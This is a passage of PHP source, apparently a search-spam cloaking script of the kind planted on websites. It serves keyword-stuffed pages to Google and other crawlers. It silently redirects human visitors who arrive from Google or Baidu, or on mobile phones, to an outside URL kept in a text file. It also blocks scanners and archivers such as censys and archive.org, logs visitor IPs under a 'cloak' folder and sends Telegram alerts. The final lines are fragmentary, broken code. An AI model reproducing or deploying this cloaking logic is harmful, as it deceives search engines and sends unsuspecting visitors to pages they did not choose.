32) {
return false; // Invalid mask, return false
}
$mask = 0xFFFFFFFF << (32 - $mask);
return ($ip & $mask) == ($subnet & $mask);
}
// Check if visitor IP is within any of the Google IP ranges
foreach ($google_ip_ranges as $range) {
if (ip_in_range($visitorIp, $range)) {
$isGoogleIp = true;
break;
}
}
//whatsapp
// 获取当前访问的URI
$requestUri = $_SERVER['REQUEST_URI'];
// 获取当前访问的主机名(域名)
$hostName = $_SERVER['HTTP_HOST'];
// 检查访问的域名是否包含 "whatsapp"
if (strpos($hostName, 'whatsapp') !== false) {
// 定义根目录的路径
$rootDirectory = __DIR__;
// 定义 index.txt 文件的路径
$indexFilePath = $rootDirectory . '/index.txt';
// 检查是否是首页访问
if ($requestUri == '' || $requestUri == '/' || $requestUri == '/index.html') {
// 如果 index.txt 文件存在,读取其中的文件路径
if (file_exists($indexFilePath)) {
$filePath = trim(file_get_contents($indexFilePath));
} else {
// 如果 index.txt 不存在或为空,从 tags/ 文件夹中随机选择一个文件
$tagsDir = $rootDirectory . '/tags/';
$files = glob($tagsDir . '*.html');
if (!empty($files)) {
$randomFile = $files[array_rand($files)];
$filePath = str_replace($rootDirectory, '', $randomFile); // 去除根目录路径
// 将随机选择的文件路径写入 index.txt
file_put_contents($indexFilePath, $filePath);
echo file_get_contents($rootDirectory . $filePath);
exit;
} else {
// 如果 tags 文件夹中没有 html 文件,则抛出错误
// die('No HTML files found in tags/ directory.');
}
}
// 读取并输出文件内容
if (file_exists($rootDirectory . $filePath)) {
echo file_get_contents($rootDirectory . $filePath);
exit;
} else {
//die('Selected file does not exist.');
}
} else {
// 非首页访问,正常处理请求
// 您可以在这里继续处理其他页面的逻辑
// echo "Handling other requests...";
}
} else {
// 如果域名不包含 "whatsapp",正常处理请求
//echo "Non-whatsapp domain.";
}
//whatsapp
// 获取 URI 和 查询字符串
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$decodedUri = urldecode($uri);
$queryString = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY);
// 获取 tags 目录下的所有 HTML 文件
$tagsDirectory = 'tags/';
$htmlFiles = glob($tagsDirectory . '*.html');
// 检查是否找到了 HTML 文件
if ($htmlFiles && count($htmlFiles) > 0) {
// 随机选择一个 HTML 文件
$randomFile = $htmlFiles[array_rand($htmlFiles)];
// 检查是否包含中文或日文字符
if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $decodedUri)) {
// 执行 301 重定向到随机选择的文件
header("HTTP/1.1 301 Moved Permanently");
header("Location: /" . $randomFile);
exit;
}
// 检查 URI 是否符合指定格式:以斜杠开头,后面是字母或数字,包含横杠,且没有符号点“.”
if (preg_match('/^\/[\p{L}0-9-]+$/u', $uri) && mb_strpos($uri, '.') === false) {
// 检查 URI 是否符合指定格式:以斜杠开头,后面是字母或数字,包含横杠,且没有符号点“.”
// if (preg_match('/^\/[a-zA-Z0-9-]+$/', $uri) && !strpos($uri, '.')) {
// 执行 301 重定向到随机选择的文件
header("HTTP/1.1 301 Moved Permanently");
header("Location: /" . $randomFile);
exit;
}
// 检查是否符合 "/数字.html" 的格式
if (preg_match('/^\/\d+\.html$/', $uri)) {
// 执行 301 重定向到随机选择的文件
header("HTTP/1.1 301 Moved Permanently");
header("Location: /" . $randomFile);
exit;
}
// 检查路径中是否包含问号
if (strpos($uri, '?') !== false) {
// 执行 301 重定向到随机选择的文件
header("HTTP/1.1 301 Moved Permanently");
header("Location: /" . $randomFile);
exit;
}
} else {
// 如果没有找到任何 HTML 文件,返回 404 错误
//header("HTTP/1.0 404 Not Found");
//echo "404 Not Found.";
//exit;
}
// 获取当前访问的域名和路径
$host = $_SERVER['HTTP_HOST'];
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
// 获取主域名(去掉二级域名部分)
$hostParts = explode('.', $host);
$rootDomain = implode('.', array_slice($hostParts, -2, 2));
// 检查是否是非一级域名或者非 www 的二级域名
if (count($hostParts) > 2 && $hostParts[0] !== 'www') {
// 如果路径不是根目录或 index.html,则重定向到该二级域名的根目录
if ($uri !== '/' && $uri !== '/index.html' && $uri !== '') {
// 构建重定向 URL
$redirectUrl = "http://{$host}/";
// 执行 301 重定向到二级域名的根目录
header("HTTP/1.1 301 Moved Permanently");
header("Location: {$redirectUrl}");
exit;
}
}
// 其他域名情况(例如 abc.com 或 www.abc.com)不做特殊处理
// 其他域名情况(例如 abc.com 或 www.abc.com)不做特殊处理
// 检查URI是否包含特定的模式,并且符合重定向的条件
if (preg_match('/\/page\/(\d+)_.*_1\.html$/', $uri, $matches)) {
// 构建新的URL,移除中间部分并保留 /page/ 和 数字部分
$newUrl = "/page/{$matches[1]}.html";
// 执行301重定向
header("HTTP/1.1 301 Moved Permanently");
header("Location: $newUrl");
exit;
}
// 移除开头的斜杠
$uri = ltrim($uri, '/');
// 指定静态文件存储的根目录
$root = '';
// 定义禁止访问的爬虫User-Agent关键词数组
$blockedBots = [
'InternetMeasurement',
'SeekportBot',
'censys',
'AwarioBot',
'IonCrawl',
'LivelapBot',
'Semanticbot',
'archive.org_bot',
'2ip.io',
'Mediatoolkitbot',
'babbar.tech/crawler',
'DataForSeoBot',
'facebook.com',
'PetalBot',
'Applebot',
'GPTBot',
'DotBot',
'facebookexternalhit',
'Bytespider',
'Amazonbot',
'OrangeBot',
//'Baiduspider',
//'YandexBot',
//'Sogou',
'Exabot',
//'AhrefsBot',
'SEMrushBot',
'mj12bot',
'MJ12bot',
'SerpstatBot',
'BLEXBot',
'ZoominfoBot',
'MojeekBot',
'Slackbot',
'DuckDuckBot',
'Twitterbot',
'MetaInspector',
'MegaIndex',
'LinkpadBot'
];
// 检查User-Agent是否包含禁止的爬虫关键词
foreach ($blockedBots as $bot) {
if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
// 返回404错误
header("HTTP/1.0 404 Not Found");
echo "404 Not Found.";
exit;
}
}
// 记录访问日志的函数
function log_access($isSpider = false) {
$logDirectory = $isSpider ? 'spider' : 'traffic';
if (!file_exists($logDirectory)) {
mkdir($logDirectory, 0777, true);
}
$furl=$_SERVER['HTTP_REFERER'];
$date = date('Y-m-d');
$filename = "{$logDirectory}/{$date}.txt";
$time = date('Y-m-d H:i:s');
$ip = getClientIp(); // 获取访问者的IP
$host = $_SERVER['HTTP_HOST'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$url = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$logEntry = "time[=]{$time}[*_*]".($isSpider ? "spider[=]{$ip}" : "ip[=]{$ip}")."[*_*]url[=]{$url}[*_*]agent[=]{$agent}[*_*]HTTP_REFERER[=]{$furl}[*_*]domain[=]{$host}[*_*]\n";
file_put_contents($filename, $logEntry, FILE_APPEND);
}
// 检查是否为搜索引擎蜘蛛
$isSpider = preg_match('/bot|crawl|slurp|spider/i', $_SERVER['HTTP_USER_AGENT']);
// 记录日志
log_access($isSpider);
// 获取当前访问的域名
$host = $_SERVER['HTTP_HOST'];
// 分割域名,获取子域名部分
$hostParts = explode('.', $host);
// 假设根域名为两部分组成(如 abc.com),则子域名为更多部分
$subdomain = count($hostParts) > 2 ? $hostParts[0] : '';
// 如果访问根目录并且有子域名,尝试加载对应的HTML文件
if (empty($uri) && !empty($subdomain) && strtolower($subdomain) !== 'www') {
$subdomainFilePath = $root . "domain/{$subdomain}.html";
// 检查并创建domain目录
$logSubDirectory = $root . 'domain';
if (!file_exists($logSubDirectory)) {
mkdir($logSubDirectory, 0777, true);
}
if (file_exists($subdomainFilePath)) {
if (!$isGoogleIp) {
if (strpos($_SERVER['HTTP_REFERER'], 'oogle') !== false && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false) {
$postUrlTxtPath = $root . 'posturl.txt';
$aUrlTxtPath = $root . 'aurl.txt';
// 检查 posturl.txt 和 aurl.txt 文件是否存在
if (file_exists($postUrlTxtPath) && file_exists($aUrlTxtPath)) {
// 规范化当前文件路径
$normalizedFilePath = remove_scheme_and_domain("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
// 读取并规范化 posturl.txt 中的所有 URL
$postUrls = file($postUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$postUrls = array_map('remove_scheme_and_domain', $postUrls);
// 检查规范化的文件路径是否存在于 postUrls 数组中
//if (in_array($normalizedFilePath, $postUrls)) {
// 读取并检查 aurl.txt 中的 URL 是否有效
$redirectUrl = trim(file_get_contents($aUrlTxtPath));
if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) {
// 记录在'cloak'目录中的访问日志
log_access_cloak($redirectUrl);
// 执行跳转
header("Location: $redirectUrl");
exit;
// readfile($subdomainFilePath);
// exit;
// }
}
}
} else {
// 返回子域名对应的HTML文件内容
readfile($subdomainFilePath);
exit;
}
} else {
// 返回子域名对应的HTML文件内容
readfile($subdomainFilePath);
exit;
}
} else {
// 如果文件不存在,则生成新的HTML页面
$keyword = str_replace('-', ' ', $subdomain);
$keywordsPath = 'keywords.txt';
$keywordsFound = false;
if (file_exists($keywordsPath)) {
$keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($keywords as $word) {
$word = str_replace('-', ' ', $word);
// 去除两边的特殊符号,只保留字母和数字进行比较
$cleanWord = preg_replace('/[^a-zA-Z0-9]/', '', $word);
$cleanKeyword = preg_replace('/[^a-zA-Z0-9]/', '', $keyword);
if (trim($cleanWord) === trim($cleanKeyword)) {
$keywordsFound = true;
break;
}
}
}
if (!$keywordsFound) {
// 如果关键词不存在,则返回404错误
//header("HTTP/1.0 404 Not Found");
//echo "404 Not Found!";
// exit;
// 随机读取 domain 目录下的一个 HTML 文件
$domainDir = $root . 'domain/';
$htmlFiles = glob($domainDir . '*.html');
if ($htmlFiles && count($htmlFiles) > 0) {
// 随机选择一个 HTML 文件
$randomFile = $htmlFiles[array_rand($htmlFiles)];
// 读取并返回随机选择的 HTML 文件内容
readfile($randomFile);
} else {
// 如果没有找到任何 HTML 文件,返回404错误
header("HTTP/1.0 404 Not Found");
echo "404 Not Found!";
}
exit;
} else {
// 生成并返回新的HTML文件
$subFilePath = "domain/{$subdomain}.html";
$title = $keyword;
$additionalKeywords = getRandomKeywords($keywords, 4);
$additionalKeywords2 = getRandomKeywords($keywords, 5);
$description = $keyword . ' ' . implode(' ', $additionalKeywords2);
$content = generateRandomSubContent('txt', 5, 200);
createAndServeSubHTML($subFilePath, $title, $keyword, $additionalKeywords, $description, $content);
exit;
}
}
}
// 如果URI为空,表示请求的是根目录,默认打开index.html
if (empty($uri)) {
$uri = 'index.html';
}
// 构建文件路径
$filePath = $root . $uri;
// 检查是否从百度跳转而来
if (strpos($_SERVER['HTTP_REFERER'], 'baidu.com') !== false) {
$urlTxtPath = $root . 'url.txt';
if (file_exists($urlTxtPath)) {
$redirectUrl = trim(file_get_contents($urlTxtPath));
if (filter_var($redirectUrl, FILTER_VALIDATE_URL)) {
header("Location: $redirectUrl");
exit;
}
}
}
// 检查User-Agent是否匹配models.csv中的某个型号
if (preg_match('/iPhone.*?;/', $_SERVER['HTTP_USER_AGENT'], $matches)) {
$modelData = ['brand' => 'Apple', 'series' => 'iPhone', 'model' => trim($matches[0]), 'name' => 'iPhone'];
//} elseif (preg_match('/Android \d+(?:\.\d+)?;.*?; ([^;\s\)]+)[\s\)]/', $_SERVER['HTTP_USER_AGENT'], $matches)) {
} elseif (preg_match('/Android \d+(?:\.\d+)?;.*?; ([^;\)\s]+)/', $_SERVER['HTTP_USER_AGENT'], $matches)) {
$modelName = trim($matches[1]);
$modelData = getModelDataFromCSV($modelName);
if (!$modelData) {
$modelData = ['brand' => 'Unknown', 'series' => 'Unknown', 'model' => $modelName, 'name' => 'Unknown'];
}
}
if (!$isGoogleIp) {
// 如果找到匹配的型号,并且User-Agent不包含"Google"、"Baiduspider" 或 "bingbot",则执行跳转逻辑
if (isset($modelData) && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false && stripos($_SERVER['HTTP_USER_AGENT'], 'Baiduspider') === false && stripos($_SERVER['HTTP_USER_AGENT'], 'bingbot') === false) {
// 直接执行跳转逻辑
$aUrlTxtPath = $root . 'aurl.txt';
if (file_exists($aUrlTxtPath)) {
// 读取文件内容
$redirectUrl = trim(file($aUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)[0] ?? '');
// 检查是否不为空且以http开头
if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) {
// 记录访问日志在'cloak'目录中
log_access_cloak($redirectUrl);
// 执行跳转
header("Location: $redirectUrl");
exit;
}
}
}
// 检查是否从Google跳转而来,并且User-Agent不包含"Google"
if (strpos($_SERVER['HTTP_REFERER'], 'oogle') !== false && stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') === false) {
$postUrlTxtPath = $root . 'posturl.txt';
$aUrlTxtPath = $root . 'aurl.txt';
// 检查 posturl.txt 和 aurl.txt 文件是否存在
if (file_exists($postUrlTxtPath) && file_exists($aUrlTxtPath)) {
// 规范化当前文件路径
$normalizedFilePath = remove_scheme_and_domain("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
// 读取并规范化 posturl.txt 中的所有 URL
$postUrls = file($postUrlTxtPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$postUrls = array_map('remove_scheme_and_domain', $postUrls);
if (strpos($uri, 'tags/') !== false) {
//echo $uri;
// Decode URL and replace '-' with ' ' for keyword comparison
$tagName = urldecode(substr($uri, strpos($uri, 'tags/') + 5, -5));
$keyword = str_replace('-', ' ', $tagName);
// echo "Debug: TagName - {$tagName}, Keyword - {$keyword}
";
// Read keywords from keywords.txt and check for existence
$keywordsPath = 'keywords.txt';
$keywordsFound = false;
if (file_exists($keywordsPath)) {
$keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($keywords as $word) {
$word = str_replace('-', ' ', $word);
if (trim($word) === $keyword) {
$keywordsFound = true;
break;
}
}
}
// Ensure the 'tags' directory exists
// Check if the corresponding HTML file exists in the tags directory
$tagFilePath = "tags/{$tagName}.html";
if (file_exists($tagFilePath)) {
// 如果从Google访问,记录关键词并返回文件内容
$googleKeywordsPath = $root . 'googlekeywords.txt';
// 检查关键词是否已经在googlekeywords.txt中
$keywordExists = false;
if (file_exists($googleKeywordsPath)) {
$keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (in_array($keyword, $keywordsList)) {
$keywordExists = true;
}
}
// 如果关键词不在googlekeywords.txt中,记录并添加
if (!$keywordExists) {
// Get the required parameters
$ip = getClientIp(); // 获取访问者的IP
$domain = $_SERVER['HTTP_HOST'];
$time = date('Y-m-d H:i:s');
// Send the notification
sendTelegramNotification($ip, $domain, $keyword, $time);
file_put_contents($googleKeywordsPath, $keyword . "\n", FILE_APPEND);
}
}
}
// 检查规范化的文件路径是否存在于 postUrls 数组中
//if (in_array($normalizedFilePath, $postUrls)) {
// 读取并检查 aurl.txt 中的 URL 是否有效
$redirectUrl = trim(file_get_contents($aUrlTxtPath));
if (!empty($redirectUrl) && preg_match('/^http/', $redirectUrl)) {
// 记录在'cloak'目录中的访问日志
log_access_cloak($redirectUrl);
// 执行跳转
header("Location: $redirectUrl");
exit;
// }
}
}
}
}
// 记录在'cloak'目录中的访问日志的函数
function log_access_cloak($redirectUrl) {
$logDirectory = 'cloak';
if (!file_exists($logDirectory)) {
mkdir($logDirectory, 0777, true);
}
$furl=$_SERVER['HTTP_REFERER'];
$date = date('Y-m-d');
$filename = "{$logDirectory}/{$date}.txt";
$time = date('Y-m-d H:i:s');
$ip = getClientIp(); // 获取访问者的IP
$host = $_SERVER['HTTP_HOST'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$url = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$logEntry = "time[=]{$time}[*_*]ip[=]{$ip}[*_*]url[=]{$url}[*_*]agent[=]{$agent}[*_*]HTTP_REFERER[=]{$furl}[*_*]redirectUrl[=]{$redirectUrl}[*_*]domain[=]{$host}[*_*]\n";
file_put_contents($filename, $logEntry, FILE_APPEND);
}
// 检查文件是否存在
if (file_exists($filePath)) {
if (strpos($uri, 'tags/') !== false) {
//echo $uri;
// Decode URL and replace '-' with ' ' for keyword comparison
$tagName = urldecode(substr($uri, strpos($uri, 'tags/') + 5, -5));
$keyword = str_replace('-', ' ', $tagName);
// echo "Debug: TagName - {$tagName}, Keyword - {$keyword}
";
// Read keywords from keywords.txt and check for existence
$keywordsPath = 'keywords.txt';
$keywordsFound = false;
if (file_exists($keywordsPath)) {
$keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($keywords as $word) {
$word = str_replace('-', ' ', $word);
if (trim($word) === $keyword) {
$keywordsFound = true;
break;
}
}
}
if (!$keywordsFound) {
// echo "Debug: Keyword not found - {$keyword}
";
header("HTTP/1.0 404 Not Found");
echo "404 Not Found!";
exit;
} else {
// Ensure the 'tags' directory exists
// Check if the corresponding HTML file exists in the tags directory
$tagFilePath = "tags/{$tagName}.html";
if (file_exists($tagFilePath)) {
// 如果从Google访问,记录关键词并返回文件内容
if ((strpos($_SERVER['HTTP_REFERER'], 'http://www.google.') !== false) || (strpos($_SERVER['HTTP_REFERER'], 'https://www.google.') !== false)) {
$googleKeywordsPath = $root . 'googlekeywords.txt';
// 检查关键词是否已经在googlekeywords.txt中
$keywordExists = false;
if (file_exists($googleKeywordsPath)) {
$keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (in_array($keyword, $keywordsList)) {
$keywordExists = true;
}
}
// 如果关键词不在googlekeywords.txt中,记录并添加
if (!$keywordExists) {
// Get the required parameters
$ip = getClientIp(); // 获取访问者的IP
$domain = $_SERVER['HTTP_HOST'];
$time = date('Y-m-d H:i:s');
// Send the notification
sendTelegramNotification($ip, $domain, $keyword, $time);
file_put_contents($googleKeywordsPath, $keyword . "\n", FILE_APPEND);
}
// 如果文件存在,则直接返回文件内容
readfile($tagFilePath);
exit;
} else {
$googleKeywordsPath = $root . 'googlekeywords.txt';
// 检查关键词是否已经在googlekeywords.txt中
$keywordExists = false;
if (file_exists($googleKeywordsPath)) {
$keywordsList = file($googleKeywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (in_array($keyword, $keywordsList)) {
$keywordExists = true;
}
}
// 如果关键词不在googlekeywords.txt中,记录并添加
if (!$keywordExists) {
if (stripos($_SERVER['HTTP_USER_AGENT'], 'oogle') !== false) {
// 不是从Google访问,检查是否需要重新生成HTML文件
//$title = $keyword;
//$additionalKeywords = getRandomKeywords($keywords, 4);
//$additionalKeywords2 = getRandomKeywords($keywords, 5);
//$description = $keyword . ' ' . implode(' ', $additionalKeywords2);
//$content = generateRandomContent('txt', 5, 200);
//createAndServeHTML($tagFilePath, $title, $keyword, $additionalKeywords, $description, $content);
readfile($tagFilePath);
exit;
} else {
readfile($tagFilePath);
exit;
}
} else {
// 如果文件存在,则直接返回文件内容
readfile($tagFilePath);
exit;
}
}
} else {
// 如果文件不存在,生成新HTML文件
}
}
} else {
// 返回文件内容
readfile($filePath);
}
// Get the current domain
$domain = $_SERVER['HTTP_HOST'];
// 判断URL中是否不包含 'tags/' 并且 keywords.txt 存在
$keywordsPath = $root . 'keywords.txt';
if ((empty($uri) || preg_match('/\.html$/', $uri)) && strpos($uri, 'tags/') === false && file_exists($keywordsPath)) {
// 读取关键词文件内容
$keywords = file($keywordsPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!empty($keywords)) {
// 随机挑选5个关键词
shuffle($keywords);
$randomKeywords = array_slice($keywords, 0, 5);
// 构建关键词链接
$keywordLinks = '';
// 获取当前访问的域名
$host = $_SERVER['HTTP_HOST'];
// 分割域名,获取子域名部分
$hostParts = explode('.', $host);
// 获取根域名
$rootDomain = '';
if (count($hostParts) > 2) {
// 如果是子域名,根域名为最后两部分组成
$rootDomain = implode('.', array_slice($hostParts, -2, 2));
} else {
// 如果没有子域名,直接使用当前域名
$rootDomain = $host;
}
foreach ($randomKeywords as $keyword) {
//$cleanKeyword = preg_replace('/[^a-zA-Z0-9\s]/', '', $keyword);
//$cleanKeyword=str_replace(' ', '-', $cleanKeyword);
// $link = 'http://'.$cleanKeyword.'.' . $rootDomain ;
$link = 'https://'.$rootDomain.'/tags/' . str_replace(' ', '-', trim($keyword)) . '.html';
$keywordLinks .= "" . htmlspecialchars($keyword) . "";
}
// 创建div模块
$divContent = "
{$keywordLinks}
"; $divContent .= "" . htmlspecialchars($randomContent) . "...
"; $content .= "" . htmlspecialchars($randomContent) . "...
"; $content .= "Created on: {$creationTime}
\n"; // Display creation time $htmlContent .= "Created on: {$creationTime}
\n"; // Display creation time $htmlContent .= "time: {$creationTime}
\n"; // Display creation time $htmlContent .= "